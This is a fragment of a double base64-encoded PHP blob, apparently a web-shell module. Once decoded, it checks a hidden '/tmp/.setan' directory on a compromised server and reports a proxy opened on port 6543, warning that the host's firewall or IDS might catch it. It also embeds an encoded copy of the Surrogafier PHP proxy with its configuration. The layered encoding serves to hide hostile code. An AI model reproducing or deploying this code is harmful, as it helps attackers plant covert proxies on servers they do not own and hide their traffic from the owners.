VdWeUlIUnZJSEpsWVdRZ1lXNWtJRzVoZG1sbllYUmxEUW9qSUhacGJUcG1iMnhrYldWMGFHOWtQVzFoY210bGNnMEtJdzBLSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSUQ4K0RRbz0NCiI7DQoNCmZ1bmN0aW9uIGNoZWNrcHJveHlob3N0KCl7DQokaG9zdCA9IGdldGVudigiSFRUUF9IT1NUIik7DQokZmlsZW5hbWUgPSAnL3RtcC8uc2V0YW4veGgnOw0KaWYgKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiRfUE9TVFsncHJveHlob3N0bXNnJ109IjwvYnI+PC9icj48Y2VudGVyPjxmb250IGNvbG9yPWdyZWVuIHNpemU9Mz48Yj5TdWNjZXNzITwvYj48L2ZvbnQ+PC9icj48L2JyPjxhIGhyZWY9JGhvc3Q6NjU0Mz4kaG9zdDo2NTQzPC9hPjwvYnI+PC9icj48Yj5Ob3RlOjwvYj4gSWYgJyRob3N0JyBoYXMgYSBnb29kIGZpcmV3YWxsIG9yIElEUyAgaW5zdGFsbGVkIG9uIHRoZWlyIHNlcnZlciwgaXQgd2lsbCBwcm9iYWJseSBjYXRjaCB0aGlzIG9yIHN0b3AgaXQgZnJvbSBldmVyIG9wZW5pbmcgYSBwb3J0IGFuZCB5b3Ugd29uJ3QgYmUgYWJsZSB0byBjb25uZWN0IHRvIHRoaXMgcHJveHkuPC9icj48L2JyPjwvY2VudGVyPiI7DQp9IGVsc2Ugew0KJF9QT1NUWydwcm94eWhvc3Rtc2cnXT0iPC9icj48L2JyPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkIHNpemU9Mz48Yj5GYWlsZWQhPC9iPjwvZm9udD48L2JyPjwvYnI+PGI+Tm90ZTo8L2I+IElmIGZvciBzb21lIHJlYXNvbiB3ZSB3b3VsZCBub3QgY3JlYXRlIGFuZCBleHRyYWN0IHRoZSBuZWVkIHByb3h5IGZpbGVzIGluICcvdG1wJyB0aGlzIHdpbGwgbWFrZSB0aGlzIGZhaWwuPC9icj48L2JyPjwvY2VudGVyPiI7DQogfSANCn0NCg0KDQoNCiRwaHBwcm94eT0iDQpQRDl3YUhBTkNnMEtJdzBLSXlCVGRYSnliMmRoWm1sbGNpQjJNUzR3TFhKak13MEtJdzBLSXlCQmRYUm9iM0k2SUVKeVlXUWdRMkZpYkdVTkNpTWdSVzFoYVd3NklHSnlZV1JBWW1OaFlteGxMbTVsZEEwS0l5Qk1hV05sYm5ObE9pQk5iMlJwWm1sbFpDQkNVMFFOQ2lNZ1RHbGpaVzV6WlNCRVpYUmhhV3h6T2cwS0l5Qm9kSFJ3T2k4dlltTmhZbXhsTG01bGRDOXNhV05sYm5ObExuQm9jQTBLSXcwS0RRb05DaU1nUTA5T1JrbEhJSHQ3ZXcwS0RRb2pJRVJsWm1GMWJIUWdkRzhnYzJsdGNHeGxJRzF2WkdVZ2QyaGxiaUIwYUdVZ2NHRm5aU0JwY3lCc2IyRmtaV1F1SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlUU1UxUVRFVW5MR1poYkhObEtUc05DaU1nUm05eVkyVWdkR2hsSUhCaFoyVWdkRzhnWVd4M1lYbHpJR0psSUdsdUlITnBiWEJzWlNCdGIyUmxJQ2h1YnlCaFpIWmhibU5sWkNCdGIyUmxJRzl3ZEdsdmJpa3VJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SazlTUTBWZlUwbE5VRXhGSnl4bVlXeHpaU2s3RFFvaklGZHBaSFJvSUdadmNpQjBhR1VnVlZKTUlHSnZlQ0IzYUdWdUlHbHVJSE5wYlhCc1pTQnRiMlJsSUNoRFUxTWdJbmRwWkhSb0lpQmhkSFJ5YVdKMWRHVXBMaUJiTXpBd2NIaGREUXBrWldacGJtVW9KMU5KVFZCTVJWOU5UMFJGWDFWU1RGZEpSRlJJSnl3bk16QXdjSGduS1RzTkNnMEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUIwZFc1dVpXd2djMlZ5ZG1WeUxpQmJYUTBLWkdWbWFXNWxLQ2RFUlVaQlZVeFVYMVJWVGs1RlRGOVFTVkFuTENjbktUc05DaU1nUkdWbVlYVnNkQ0IyWVd4MVpTQm1iM0lnZEhWdWJtVnNJSEJ2Y25RdUlGdGREUXBrWldacGJtVW9KMFJGUmtGVlRGUmZWRlZPVGtWTVgxQlFUMUpVSnl3bkp5azdEUW9qSUZOb2IzVnNaQ0IwYUdVZ2RIVnVibVZzSUdacFpXeGtjeUJpWlNCa2FYTndiR0Y1WldRL0lDSm1ZV3h6WlNJZ2RtRnNkV1VnYUdWeVpTQjNhV3hzSUdadmNtTmxJSFJvWlNCa1pXWmhkV3gwY3lCaFltOTJaU0JiZEhKMVpWME5DbVJsWm1sdVpTZ25SazlTUTBWZlJFVkdRVlZNVkY5VVZVNU9SVXduTEhSeWRXVXBPdzBLRFFvaklFUmxabUYxYkhRZ2RtRnNkV1VnWm05eUlDSlFaWEp6YVhOMFpXNTBJRlZTVENJZ1kyaGxZMnRpYjNnZ1czUnlkV1ZkRFFwa1pXWnBibVVvSjBSRlJrRlZURlJmVlZKTVgwWlBVazBuTEhSeWRXVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUVOdmIydHBaWE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlTUlUxUFZrVmZRMDlQUzBsRlV5Y3NabUZzYzJVcE93MEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUFpVW1WdGIzWmxJRkpsWm1WeVpYSWdSbWxsYkdRaUlHTm9aV05yWW05NElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5U1JVMVBWa1ZmVWtWR1JWSkZVaWNzWm1Gc2MyVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUZOamNtbHdkSE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlTUlUxUFZrVmZVME5TU1ZCVVV5Y3NabUZzYzJVcE93MEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUFpVW1WdGIzWmxJRTlpYW1WamRITWlJR05vWldOclltOTRJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SRVZHUVZWTVZGOVNSVTFQVmtWZlQwSktSVU5VVXljc1ptRnNjMlVwT3cwS0l5QkVaV1poZFd4MElIWmhiSFZsSUdadmNpQWlSVzVqY25sd2RDQlZVa3h6SWlCamFHVmphMkp2ZUNCYlptRnNjMlZkRFFwa1pXWnBibVVvSjBSRlJrRlZURlJmUlU1RFVsbFFWRjlWVWt4VEp5eG1ZV3h6WlNrN0RRb2pJRVJsWm1GMWJIUWdkbUZzZFdVZ1ptOXlJQ0pGYm1OeWVYQjBJRU52YjJ0cFpYTWlJR05vWldOclltOTRJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SRVZHUVZWTVZGOUZUa05TV1ZCVVgwTlBUMHRUSnl4bVlXeHpaU2s3RFFvTkNpOHFMeUJCWkdSeVpYTnpJRUpzYjJOcmFXNW5JRTV2ZEdWeklGd3FYQTBLRFFwR2IzSnRZWFJ6SUdadmNpQmhaR1J5WlhOeklHSnNiMk5yYVc1bklHRnlaU0JoY3lCbWIyeHNiM2R6T2cwS0RRb2dJREV1TWk0ekxqUWdJQ0FnSUMwZ2NHeGhhVzRnU1ZBZ1lXUmtjbVZ6Y3cwS0lDQXhMakF1TUM0d0x6RTJJQ0F0SUhOMVltNWxkQ0JpYkc5amEybHVadzBLSUNBeExqQXZNVFlnSUNBZ0lDQXRJSE4xWW01bGRDQmliRzlqYTJsdVp3MEtJQ0F4THpnZ0lDQWdJQ0FnSUNBdElITjFZbTVsZENCaWJHOWphMmx1WncwS0lDQndhSEF1Ym1WMElDQWdJQ0F0SUdSdmJXRnBiaUJpYkc5amEybHVadzBLRFFwRVpXWmhkV3gwSUZaaGJIVmxPaUFuTVRBdk9DY3NKekUzTWk4NEp5d25NVGt5TGpFMk9DOHhOaWNzSnpFeU55ODRKeXduTVRZNUxqSTFOQzh4TmljTkNnMEtYQ3BjSUVWdVpDQkJaR1J5WlhOeklFSnNiMk5yYVc1bklFNXZkR1Z6SUM4cUx3MEtEUW9rWW14dlkydGxaRjloWkdSeVpYTnpaWE05WVhKeVlYa29KekV3THpnbkxDY3hOekl2T0Njc0p6RTVNaTR4Tmpndk1UWW5MQ2N4TWpjdk9DY3NKekUyT1M0eU5UUXZNVFluS1RzTkNnMEtJeUI5ZlgwTkNnMEtJeUJCUkZaQlRrTkZSQ0JEVDA1R1NVY2dlM3Q3RFFvTkNpTWdWR2hsSUdadmJHeHZkMmx1WnlCdmNIUnBiMjV6SUdGc2RHVnlJSFJvWlNCM1lYa2daRzlqZFcxbGJuUnpJR0Z5WlNCd1lYSnpaV1FnYjI0Z2RHaGxJSEJoWjJVdUlDQlBUa3haSUVWRVNWUWdWRWhKVXlCVFZGVkdSaUJKUmlCWlQxVWdVa1ZCVEV4WklFdE9UMWNnVjBoQlZDQlpUMVVnUVZKRklFUlBTVTVISVEwS0RRb2pJRFV3TUNCcGN5QjBhR1VnYlc5emRDQnlaV0Z6YjI1aFlteGxJRzUxYldKbGNpQkpJR052ZFd4a0lHTnZiV1VnZFhBZ2QybDBhQ0JoY3lCaElHMWhlR2x0ZFcwZ1ZWSk1JR3hsYm1kMGFDQnNhVzFwZEEwS0l5QkpJSEpoYmlCcGJuUnZJR0VnTVRJd01Dc2dZMmhoY21GamRHVnlJR3h2Ym1jZ1ZWSk1JRzl1WTJVZ1lXNWtJR2wwSUc1bFlYSnNlU0J0Wld4MFpXUWdkR2hsSUhCeWIyTmxjM052Y2lCdmJpQnRlU0JzWVhCMGIzQWdkSEo1YVc1bklIUnZJSEJoY25ObElHbDBEUW9qSUVodmJtVnpkR3g1TENCM2FHOGdibVZsWkhNZ2RHaHBjeUJzYjI1bklHOW1JR0VnVlZKTUlHRnVlWGRoZVQ4TkNtUmxabWx1WlNnblRVRllTVTFWVFY5VlVreGZURVZPUjFSSUp5dzFNREFwT3cwS0RRb2pJRlJwYldVZ2JHbHRhWFFnYVc0Z2MyVmpiMjVrY3lCbWIzSWdZU0J6YVc1bmJHVWdjbVZ4ZFdWemRDQmhibVFnY0dGeWMyVXVJRnN4TUYwTkNtUmxabWx1WlNnblZFbE5SVjlNU1UxSlZDY3NNVEFwT3cwS0l5QlVhVzFsSUd4cGJXbDBJR2x1SUcxcGJuVjBaWE1nWm05eUlHRWdSRTVUSUdWdWRISjVJSFJ2SUdKbElHdGxjSFFnYVc0Z2RHaGxJR05oWTJobExpQmJNVEJkRFFwa1pXWnBibVVvSjBST1UxOURRVU5JUlY5RldGQkpVa1VuTERFd0tUc05DZzBLSXlCVmMyVWdaM3BwY0NBb2FXWWdjRzl6YzJsaWJHVXBJSFJ2SUdOdmJYQnlaWE56SUhSb1pTQmpiMjV1WldOMGFXOXVJR0psZEhkbFpXNGdkR2hsSUhCeWIzaDVJR0Z1WkNCMGFHVWdkWE5sY2lBb2JHVnpjeUJpWVc1a2QybGtkR2dzSUcxdmNtVWdRMUJWS1NCYlptRnNjMlZkRFFwa1pXWnBibVVvSjBkYVNWQmZVRkpQV0ZsZlZWTkZVaWNzWm1Gc2MyVXBPdzBLSXlCVmMyVWdaM3BwY0NBb2FXWWdjRzl6YzJsaWJHVXBJSFJ2SUdOdmJYQnlaWE56SUhSb1pTQmpiMjV1WldOMGFXOXVJR0psZEhkbFpXNGdkR2hsSUhCeWIzaDVJR0Z1WkNCMGFHVWdjMlZ5ZG1WeUlDaHNaWE56SUdKaGJtUjNhV1IwYUN3Z2JXOXlaU0JEVUZVcElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblIxcEpVRjlRVWs5WVdWOVRSVkpXUlZJbkxHWmhiSE5sS1RzTkNnMEtJeUJRY205MGIyTnZiQ0IwYUdGMElIQnliM2g1SUdseklISjFibTVwYm1jZ2IyNHVJQ0JWYm1OdmJXMWxiblFnZEdocGN5QnNhVzVsSUhSdklHUmxabWx1WlNCcGRDQnRZVzUxWVd4c2VTNE5DaU1nU1dZZ2VXOTFJR3hsWVhabElIUm9hWE1nYkdsdVpTQmpiMjF0Wlc1MFpXUXNJSFJvWlNCamIyUmxJR1JsZEdWamRITWdhV1lnZVc5MUlHRnlaU0J5ZFc1dWFXNW5JRzl1SUdGdURRb2pJRWhVVkZCVElHTnZibTVsWTNScGIyNHVJQ0JKWmlCNWIzVWdZWEpsTENCMGFHVnVJQ2RvZEhSd2N5Y2dhWE1nZFhObFpDQmhjeUIwYUdVZ1VGSlBWRThnZG1Gc2RXVXNEUW9qSUc5MGFHVnlkMmx6WlNBbmFIUjBjQ2NnYVhNZ2RYTmxaQzRnSUVsbUlIbHZkU0J1WldWa0lHRWdaR2xtWm1WeVpXNTBJSFpoYkhWbElHaGxjbVVzSUhSb1pXNGdaR1ZtYVc1bElHbDBMZzBLSTJSbFptbHVaU2duVUZKUFZFOG5MQ2RvZEhSd0p5azdEUW9OQ2lNZ2ZYMTlEUW9OQ2cwS0x5OGdSRTlPSjFRZ1JVUkpWQ0JCVGxsVVNFbE9SeUJCUmxSRlVpQlVTRWxUSUZCUFNVNVVJRnhjRFFvTkNnMEtJdzBLSXlBb2RXNXNaWE56SUhsdmRTQmhZbk52YkhWMFpXeDVJR3R1YjNjZ2QyaGhkQ0I1YjNVZ1lYSmxJR1J2YVc1bkxpNHVLUTBLSXcwS0RRb2pJRU5QVDB0SlJTQW1JRk5GVTFOSlQwNGdVMFZVVlZBZ2UzdDdEUW9OQ2k4dkpIUnZkSE4wWVhKMGRHbHRaVDF0YVdOeWIzUnBiV1VvZEhKMVpTazdJQ01nUWtWT1EwaE5RVkpMRFFvdkx5UmliRzlqYTJWa1gyRmtaSEpsYzNObGN6MWhjbkpoZVNncE95QWpJRVJGUWxWSERRb05DaU1nYzJWMElHVnljbTl5SUd4bGRtVnNJSFJ2SUc1dmRDQmthWE53YkdGNUlHNXZkR2xqWlhNTkNtVnljbTl5WDNKbGNHOXlkR2x1WnloRlgwRk1URjVGWDA1UFZFbERSU2s3RFFvTkNpTWdjMlYwSUhScGJXVWdiR2x0YVhRZ2RHOGdkR2hsSUdSbFptbHVaV1FnZEdsdFpTQnNhVzFwZEN3Z2FXWWdibTkwSUdsdUlITmhabVVnYlc5a1pRMEthV1lvSVdsdWFWOW5aWFFvSjNOaFptVmZiVzlrWlNjcEtTQnpaWFJmZEdsdFpWOXNhVzFwZENoVVNVMUZYMHhKVFVsVUtUc05DZzBLSXlCMWMyVWdaM3BwY0NCamIyMXdjbVZ6YzJsdmJpQnBaaUJoZG1GcGJHRmliR1VOQ21sbUtFZGFTVkJmVUZKUFdGbGZWVk5GVWlBbUppQmxlSFJsYm5OcGIyNWZiRzloWkdWa0tDZDZiR2xpSnlrZ0ppWWdJV2x1YVY5blpYUW9KM3BzYVdJdWIzVjBjSFYwWDJOdmJYQnlaWE56YVc5dUp5a3BJRzlpWDNOMFlYSjBLQ2R2WWw5bmVtaGhibVJzWlhJbktUc2dJeUIxYzJVZ1ozcHBjQ0JsYm1OdlpHbHVaeUIwYnlCamIyMXdjbVZ6Y3lCaGJHd2daR0YwWVN3Z2FXWWdjRzl6YzJsaWJHVU5DZzBLSXlCeVpYWmxjbk5sSUcxaFoybGpJSEYxYjNSbGN5QnBaaUJsYm1GaWJHVmtEUXBwWmloblpYUmZiV0ZuYVdOZmNYVnZkR1Z6WDJkd1l5Z3BLWHNOQ2dsbWRXNWpkR2x2YmlCemRISnBjSE5zWVhOb1pYTmZjbVZqZFhKelpTZ2tkbUZ5S1hzTkNna0phV1lvYVhOZllYSnlZWGtvSkhaaGNpa3BJQ1IyWVhJOVlYSnlZWGxmYldGd0tDZHpkSEpwY0hOc1lYTm9aWE5mY21WamRYSnpaU2NzSkhaaGNpazdEUW9KQ1dWc2MyVWdKSFpoY2oxemRISnBjSE5zWVhOb1pYTW9KSFpoY2lrN0RRb0pDWEpsZEhWeWJpQWtkbUZ5T3cwS0NYME5DZ2trWDBkRlZEMXpkSEpwY0hOc1lYTm9aWE5mY21WamRYSnpaU2drWDBkRlZDazdEUW9KSkY5UVQxTlVQWE4wY21sd2MyeGhjMmhsYzE5eVpXTjFjbk5sS0NSZlVFOVRWQ2s3RFFvSkpGOURUMDlMU1VVOWMzUnlhWEJ6YkdGemFHVnpYM0psWTNWeWMyVW9KRjlEVDA5TFNVVXBPdzBLZlEwS0RRb2pJSE5qY21sd2RDQmxiblpwY205dWJXVnVkQ0JqYjI1emRHRnVkSE1OQ21sbUtDRmtaV1pwYm1Wa0tDZFFVazlVVHljcEtTQmtaV1pwYm1Vb0oxQlNUMVJQSnl3b0pGOVRSVkpXUlZKYkowaFVWRkJUSjEwOVBTZHZiaWMvSjJoMGRIQnpKem9uYUhSMGNDY3BLVHNOQ21SbFptbHVaU2duVmtWU1UwbFBUaWNzSnpFdU1DMXlZek1uS1RzTkNtUmxabWx1WlNnblZFaEpVMTlUUTFKSlVGUW5MRkJTVDFSUExpSTZMeTk3SkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZGZYc2tYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YWDBpS1RzTkNtUmxabWx1WlNnblUwbE5VRXhGWDAxUFJFVW5MRVJGUmtGVlRGUmZVMGxOVUV4RklIeDhJRVpQVWtORlgxTkpUVkJNUlNrN0RRb05DaU1nVW1GdVpHOXRhWHBsWkNCamIyOXJhV1VnY0hKbFptbDRaWE1nSXcwS1puVnVZM1JwYjI0Z1oyVnVYM0poYm1SemRISW9KR3hsYmlsN0RRb0pKR05vWVhKelBXNTFiR3c3RFFvSlptOXlLQ1JwUFRBN0pHazhKR3hsYmpza2FTc3JLWHNOQ2drSkpHTm9ZWEk5Y21GdVpDZ3dMREkxS1RzTkNna0pKR05vWVhJOVkyaHlLQ1JqYUdGeUt6azNLVHNOQ2drSkpHTm9ZWEp6TGowa1kyaGhjanNOQ2dsOURRb0pjbVYwZFhKdUlDUmphR0Z5Y3pzTkNuME5DZzBLWm5WdVkzUnBiMjRnWkc5elpYUmpiMjlyYVdVb0pHTnZiMnR1WVcxbExDUmpiMjlyZG1Gc0xDUmxlSEJwY21VOWJuVnNiQ2w3RFFvSkpGOURUMDlMU1VWYkpHTnZiMnR1WVcxbFhUMGtZMjl2YTNaaGJEc05DZ2xwWmlna1pYaHdhWEpsUFQwOWJuVnNiQ2tnYzJWMFkyOXZhMmxsS0NSamIyOXJibUZ0WlN3a1kyOXZhM1poYkNrN0RRb0paV3h6WlNCelpYUmpiMjlyYVdVb0pHTnZiMnR1WVcxbExDUmpiMjlyZG1Gc0xDUmxlSEJwY21VcE93MEtmUTBLRFFwa1pXWnBibVVvSjBaSlVsTlVYMHhQUVVRbkxHVnRjSFI1S0NSZlEwOVBTMGxGV3lkUVNGQlRSVk5UU1VRblhTa3BPdzBLYzJWemMybHZibDl6ZEdGeWRDZ3BPdzBLYVdZb1pXMXdkSGtvSkY5VFJWTlRTVTlPV3lkelpYTnpjSEpsWmlkZEtTbDdEUW9KSkhObGMzTndjbVZtUFdkbGJsOXlZVzVrYzNSeUtETXdLVHNOQ2dra1gxTkZVMU5KVDA1YkozTmxjM053Y21WbUoxMDlKSE5sYzNOd2NtVm1PdzBLZlEwS1pXeHpaU0FrYzJWemMzQnlaV1k5SkY5VFJWTlRTVTlPV3lkelpYTnpjSEpsWmlkZE93MEtEUXBwWmlobGJYQjBlU2drWDBOUFQwdEpSVnNuZFhObGNpZGRLU2w3RFFvSkpHTnZiMnR3Y21WbVBXZGxibDl5WVc1a2MzUnlLREV5S1RzTkNnbGtiM05sZEdOdmIydHBaU2duZFhObGNpY3NKR052YjJ0d2NtVm1LVHNOQ24wTkNtVnNjMlVnSkdOdmIydHdjbVZtUFNSZlEwOVBTMGxGV3lkMWMyVnlKMTA3RFFvTkNtUmxabWx1WlNnblUwVlRVMTlRVWtWR0p5d2tjMlZ6YzNCeVpXWXBPdzBLWkdWbWFXNWxLQ2REVDA5TFgxQlNSVVluTENSamIyOXJjSEpsWmlrN0RRcGtaV1pwYm1Vb0owTlBUMHRKUlY5VFJWQkJVa0ZVVDFJbkxDZGZYeWN1UTA5UFMxOVFVa1ZHTGlkZlh5Y3BPdzBLZFc1elpYUW9KSE5sYzNOd2NtVm1MQ1JqYjI5cmNISmxaaWs3RFFvTkNtbG1LRVpKVWxOVVgweFBRVVFwZXcwS0NXbG1LRVJGUmtGVlRGUmZWVkpNWDBaUFVrMHBJR1J2YzJWMFkyOXZhMmxsS0VOUFQwdGZVRkpGUmk0blgzVnliRjltYjNKdEp5eDBjblZsS1RzTkNnbHBaaWhFUlVaQlZVeFVYMUpGVFU5V1JWOURUMDlMU1VWVEtTQmtiM05sZEdOdmIydHBaU2hEVDA5TFgxQlNSVVl1SjE5eVpXMXZkbVZmWTI5dmEybGxjeWNzZEhKMVpTazdEUW9KYVdZb1JFVkdRVlZNVkY5U1JVMVBWa1ZmVWtWR1JWSkZVaWtnWkc5elpYUmpiMjlyYVdVb1EwOVBTMTlRVWtWR0xpZGZjbVZ0YjNabFgzSmxabVZ5WlhJbkxIUnlkV1VwT3cwS0NXbG1LRVJGUmtGVlRGUmZVa1ZOVDFaRlgxTkRVa2xRVkZNcElHUnZjMlYwWTI5dmEybGxLRU5QVDB0ZlVGSkZSaTRuWDNKbGJXOTJaVjl6WTNKcGNIUnpKeXgwY25WbEtUc05DZ2xwWmloRVJVWkJWVXhVWDFKRlRVOVdSVjlQUWtwRlExUlRLU0JrYjNObGRHTnZiMnRwWlNoRFQwOUxYMUJTUlVZdUoxOXlaVzF2ZG1WZmIySnFaV04wY3ljc2RISjFaU2s3RFFvSmFXWW9SRVZHUVZWTVZGOUZUa05TV1ZCVVgxVlNURk1wSUdSdmMyVjBZMjl2YTJsbEtFTlBUMHRmVUZKRlJpNG5YMlZ1WTNKNWNIUmZkWEpzY3ljc2RISjFaU2s3RFFvSmFXWW9SRVZHUVZWTVZGOUZUa05TV1ZCVVgwTlBUMHRUS1NCa2IzTmxkR052YjJ0cFpTaERUMDlMWDFCU1JVWXVKMTlsYm1OeWVYQjBYMk52YjJ0ekp5eDBjblZsS1RzTkNuME5DZzBLSXlCOWZYME5DZzBLSXlCRlRsWkpVazlPVFVWT1ZDQlRSVlJWVUNCN2Uzc05DZzBLWjJ4dlltRnNJQ1J3YjNOMFlXNWtaMlYwTENSaWJHOWphMlZrWDJGa1pISmxjM05sY3l3a1pHNXpYMk5oWTJobFgyRnljbUY1T3cwS0pIQnZjM1JoYm1SblpYUTlZWEp5WVhsZmJXVnlaMlVvSkY5SFJWUXNKRjlRVDFOVUtUc05DZzBLWkdWbWFXNWxLQ2RRUVVkRlZGbFFSVjlOU1U1SlVrVkhSVmhRSnl3bktEMWJYMXd1WEMxZFAxd21QWHc5S1Q4bktUc05DbVJsWm1sdVpTZ25VRUZIUlZSWlVFVmZVa1ZIUlZoUUp5d25MMTRuTGxCQlIwVlVXVkJGWDAxSlRrbFNSVWRGV0ZBdUp5Z3VLaWtrTHljcE93MEthV1lvSVdWdGNIUjVLQ1J3YjNOMFlXNWtaMlYwVzBOUFQwdGZVRkpGUmwwcEtTQWtiMlZ1WTE5MWNtdzlKSEJ2YzNSaGJtUm5aWFJiUTA5UFMxOVFVa1ZHWFRzTkNtVnNjMlY3RFFvSkpIQmhaMlYwZVhCbFgzTjBjajF3Y21WblgzSmxjR3hoWTJVb1VFRkhSVlJaVUVWZlVrVkhSVmhRTENkY01TY3NKRjlUUlZKV1JWSmJKMUZWUlZKWlgxTlVVa2xPUnlkZEtUc05DZ2xrWldacGJtVW9KMUZWUlZKWlgxTlVVa2xPUnljc2MzVmljM1J5S0NSZlUwVlNWa1ZTV3lkUlZVVlNXVjlUVkZKSlRrY25YU3h6ZEhKc1pXNG9KSEJoWjJWMGVYQmxYM04wY2lrc2MzUnliR1Z1S0NSZlUwVlNWa1ZTV3lkUlZVVlNXVjlUVkZKSlRrY25YU2t0YzNSeWJHVnVLQ1J3WVdkbGRIbHdaVjl6ZEhJcEtTazdEUW9KWkdWbWFXNWxLQ2RRUVVkRlZGbFFSVjlPVlV4TUp5d3dLVHNOQ2dsa1pXWnBibVVvSjFCQlIwVlVXVkJGWDBaUFVrTkZYMDFCU1U0bkxERXBPdzBLQ1dSbFptbHVaU2duVUVGSFJWUlpVRVZmUmxKQlRVVmZWRTlRSnl3eUtUc05DZ2xrWldacGJtVW9KMUJCUjBWVVdWQkZYMFpTUVUxRlJGOVFRVWRGSnl3ektUc05DZ2xrWldacGJtVW9KMUJCUjBWVVdWQkZYMFpTUVUxRlJGOURTRWxNUkNjc05DazdJQ01nWm5KaGJXbHVaeUJqYUdsc1pISmxiaUJtYjNJZ1kzSnBiV1Z6SUdsemJpZDBJSFpsY25rZ2JtbGpaU3dnWW5WMElIUm9aU0J6WTNKcGNIUWdaRzlsY3lCcGRDQmhibmwzWVhrTkNnbHpkMmwwWTJnb0pIQmhaMlYwZVhCbFgzTjBjaWw3RFFvSkNXTmhjMlVnSnowbVBTYzZJR1JsWm1sdVpTZ25VRUZIUlZSWlVFVmZTVVFuTEZCQlIwVlVXVkJGWDBaU1FVMUZYMVJQVUNrN0lHSnlaV0ZyT3cwS0NRbGpZWE5sSUNjOVh5WTlKem9nWkdWbWFXNWxLQ2RRUVVkRlZGbFFSVjlKUkNjc1VFRkhSVlJaVUVWZlJsSkJUVVZFWDFCQlIwVXBPeUJpY21WaGF6c05DZ2tKWTJGelpTQW5QUzBtUFNjNklHUmxabWx1WlNnblVFRkhSVlJaVUVWZlNVUW5MRkJCUjBWVVdWQkZYMFpQVWtORlgwMUJTVTRwT3lCaWNtVmhhenNOQ2drSlkyRnpaU0FuUFM0bVBTYzZJR1JsWm1sdVpTZ25VRUZIUlZSWlVFVmZTVVFuTEZCQlIwVlVXVkJGWDBaU1FVMUZSRjlEU0VsTVJDazdJR0p5WldGck93MEtJeUIwYUdseklHbHpJRzl1WlNCdGIzSmxJSFZ1Wlc1amIyUmxaQ0J6ZEhKcGJtY2dabTl5SUdaMWRIVnlaU0JtWldGMGRYSmxjdzBLSXdrSlkyRnpaU0FuUFNvbVBTYzZJR1JsWm1sdVpTZ25VRUZIUlZSWlVFVmZTVVFuTENrN0lHSnlaV0ZyT3cwS0NRbGtaV1poZFd4ME9pQmtaV1pwYm1Vb0oxQkJSMFZVV1ZCRlgwbEVKeXhRUVVkRlZGbFFSVjlPVlV4TUtUc2dZbkpsWVdzN0RRb0pmUTBLQ1hWdWMyVjBLQ1J3WVdkbGRIbHdaVjl6ZEhJcE93MEtEUW9KWkdWbWFXNWxLQ2RPUlZkZlVFRkhSVlJaVUVWZlJsSkJUVVZmVkU5UUp5d29VRUZIUlZSWlVFVmZTVVE5UFQxUVFVZEZWRmxRUlY5R1VrRk5SVVJmUTBoSlRFUS9VRUZIUlZSWlVFVmZSbEpCVFVWRVgwTklTVXhFT2xCQlIwVlVXVkJGWDBaU1FVMUZYMVJQVUNrcE93MEtDV1JsWm1sdVpTZ25Ua1ZYWDFCQlIwVlVXVkJGWDBaU1FVMUZSRjlRUVVkRkp5d29VRUZIUlZSWlVFVmZTVVE5UFQxUVFVZEZWRmxRUlY5R1VrRk5SVVJmUTBoSlRFUS9VRUZIUlZSWlVFVmZSbEpCVFVWRVgwTklTVXhFT2xCQlIwVlVXVkJGWDBaU1FVMUZSRjlRUVVkRktTazdEUW9OQ2dra2IyVnVZMTkxY213OVVWVkZVbGxmVTFSU1NVNUhPdzBLQ1M4dlpHVm1hVzVsS0NkUFJVNURYMVZTVENjc2RYSnNaR1ZqYjJSbEtIQnlaV2RmY21Wd2JHRmpaU2duTDE0b1cxNG1YU29wTGlvL0pDOXBKeXduWERFbkxGRlZSVkpaWDFOVVVrbE9SeWtwS1RzTkNuME5DbWxtS0hOMGNuQnZjeWh6ZFdKemRISW9KRzlsYm1OZmRYSnNMREFzTmlrc0p5VW5LU0U5UFdaaGJITmxJSHg4SUhOMGNuQnZjeWdrYjJWdVkxOTFjbXdzSnlVbktUeHpkSEp3YjNNb0pHOWxibU5mZFhKc0xDY3ZKeWtnZkh3Z2MzUnljRzl6S0NSdlpXNWpYM1Z5YkN3bkpTY3BQSE4wY25CdmN5Z2tiMlZ1WTE5MWNtd3NKem9uS1NrZ0pHOWxibU5mZFhKc1BYVnliR1JsWTI5a1pTZ2tiMlZ1WTE5MWNtd3BPdzBLWkdWbWFXNWxLQ2RQUlU1RFgxVlNUQ2NzY0hKbFoxOXlaWEJzWVdObEtDY3ZYaWhiWGx3L1hDWmRLeWxjSmk5cEp5d25YREUvSnl3a2IyVnVZMTkxY213cEtUc05DblZ1YzJWMEtDUnZaVzVqWDNWeWJDazdEUXBrWldacGJtVW9KMDlTU1VkZlZWSk1KeXh3Y205NFpHVmpLRTlGVGtOZlZWSk1LU2s3RFFwbmJHOWlZV3dnSkdOMWNuSmZkWEpzT3cwS0pHTjFjbkpmZFhKc1BVOVNTVWRmVlZKTU93MEtEUXBtZFc1amRHbHZiaUJuWlhSb1lYSmtZWFIwY2lna1lYUjBjaWw3RFFvSloyeHZZbUZzSUNSd2IzTjBZVzVrWjJWME93MEtDWEpsZEhWeWJpQW9aVzF3ZEhrb0pIQnZjM1JoYm1SblpYUmJRMDlQUzE5UVVrVkdMaWRmYzJWMFgzWmhiSFZsY3lkZEtUOGhaVzF3ZEhrb0pGOURUMDlMU1VWYlEwOVBTMTlRVWtWR0xpSmZleVJo